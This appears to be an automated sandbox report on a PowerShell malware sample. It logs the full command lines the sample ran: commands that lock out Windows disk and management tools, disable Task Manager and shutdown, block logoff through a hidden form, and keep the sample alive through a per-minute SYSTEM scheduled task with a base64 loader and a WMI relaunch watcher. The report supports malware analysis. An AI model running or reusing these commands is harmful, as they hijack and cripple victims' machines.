Analysis

  • max time kernel
    28s
  • max time network
    22s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    19/06/2026, 20:02

General

  • Target
    target.ps1
  • Size 12KB
  • Sample260619-yr7h4sbs8l
  • SHA256 1e4388c45e8b07ca77b7e3b59fc1152b6c74668aad15df1e9230489b5ab3b827
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Possible privilege escalation attempt 14 IoCs
  • Modifies file permissions 1 TTPs 14 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\target.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4156
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskpart.exe" && icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2632
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\diskpart.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2464
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4264
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\format.com" && icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1492
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\format.com"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4480
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3608
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\cleanmgr.exe" && icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1376
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\cleanmgr.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4200
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4568
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\defrag.exe" && icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3588
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\defrag.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3164
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4936
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskmgmt.msc" && icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4792
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\diskmgmt.msc"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2652
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2952
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\compmgmt.msc" && icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1436
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\compmgmt.msc"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3380
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4364
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3692
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
        3⤵
          PID:228
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2008
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
          3⤵
            PID:4436
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5096
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
            3⤵
              PID:2660
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2508
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
              3⤵
                PID:4684
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-Type -TypeDefinition @" using System; using System.Windows.Forms; public class Blocker : Form { protected override void WndProc(ref Message m) { if (m.Msg == 0x11) { m.Result = (IntPtr)0; return; } base.WndProc(ref m); } } "@ -ReferencedAssemblies System.Windows.Forms [Application]::Run(new Blocker())"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:800
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c takeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" && icacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1404
              • C:\Windows\system32\takeown.exe
                takeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1"
                3⤵
                • Possible privilege escalation attempt
                • Modifies file permissions
                PID:2052
              • C:\Windows\system32\icacls.exe
                icacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)
                3⤵
                • Possible privilege escalation attempt
                • Modifies file permissions
                PID:4728
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command $b64 = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\SystemUpdate' -Name 'ScriptB64' -ErrorAction SilentlyContinue).ScriptB64; if ($b64) { $bytes = [Convert]::FromBase64String($b64); $content = [System.Text.Encoding]::UTF8.GetString($bytes); $dir = 'C:\ProgramData\Microsoft\Windows\SystemUpdate'; if (-not (Test-Path $dir)) { New-Item -Path $dir -ItemType Directory -Force | Out-Null }; $path = Join-Path $dir 'SysUpdate.ps1'; if (-not (Test-Path $path)) { Set-Content -Path $path -Value $content -Force; Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File "$path"" } }" /sc minute /mo 1 /ru SYSTEM /f
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3716
              • C:\Windows\system32\schtasks.exe
                schtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3780
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Register-WmiEvent -Query "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName='powershell.exe'" -Action { if ($Event.SourceEventArgs.NewEvent.ProcessName -eq 'powershell') { Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-File "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" -keep" } }"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4384
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2972

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 3KB
                • SHA256 b50f877489ebccd2b4ca683aa7ad0570dab3b52b72e00a48cc5c1419e7387feb
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 059f90bb371321c0002dd192fb02e94927bac8c754069a2e426e2b0271e33966
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 488B
                • SHA256 9c705d5b86bc7d1728d41335889ccb07d20dbc3181178d912280dcfcfa340eaa
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 948B
                • SHA256 918f58914ed48f541037a7f3fb6757062f4f757a3fc9a1fe7b145fd4549cf77f
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_0gajwvhi.rse.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0gajwvhi.rse.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                memory/4156-0-0x000001E4D1C80000-0x000001E4D1C90000-memory.dmp

                memory/4156-1-0x000001E4D1BC0000-0x000001E4D1BE2000-memory.dmp

                memory/4156-9-0x000001E4D1C80000-0x000001E4D1C90000-memory.dmp

                memory/4156-11-0x000001E4D4650000-0x000001E4D4674000-memory.dmp

                memory/4156-10-0x000001E4D4650000-0x000001E4D467A000-memory.dmp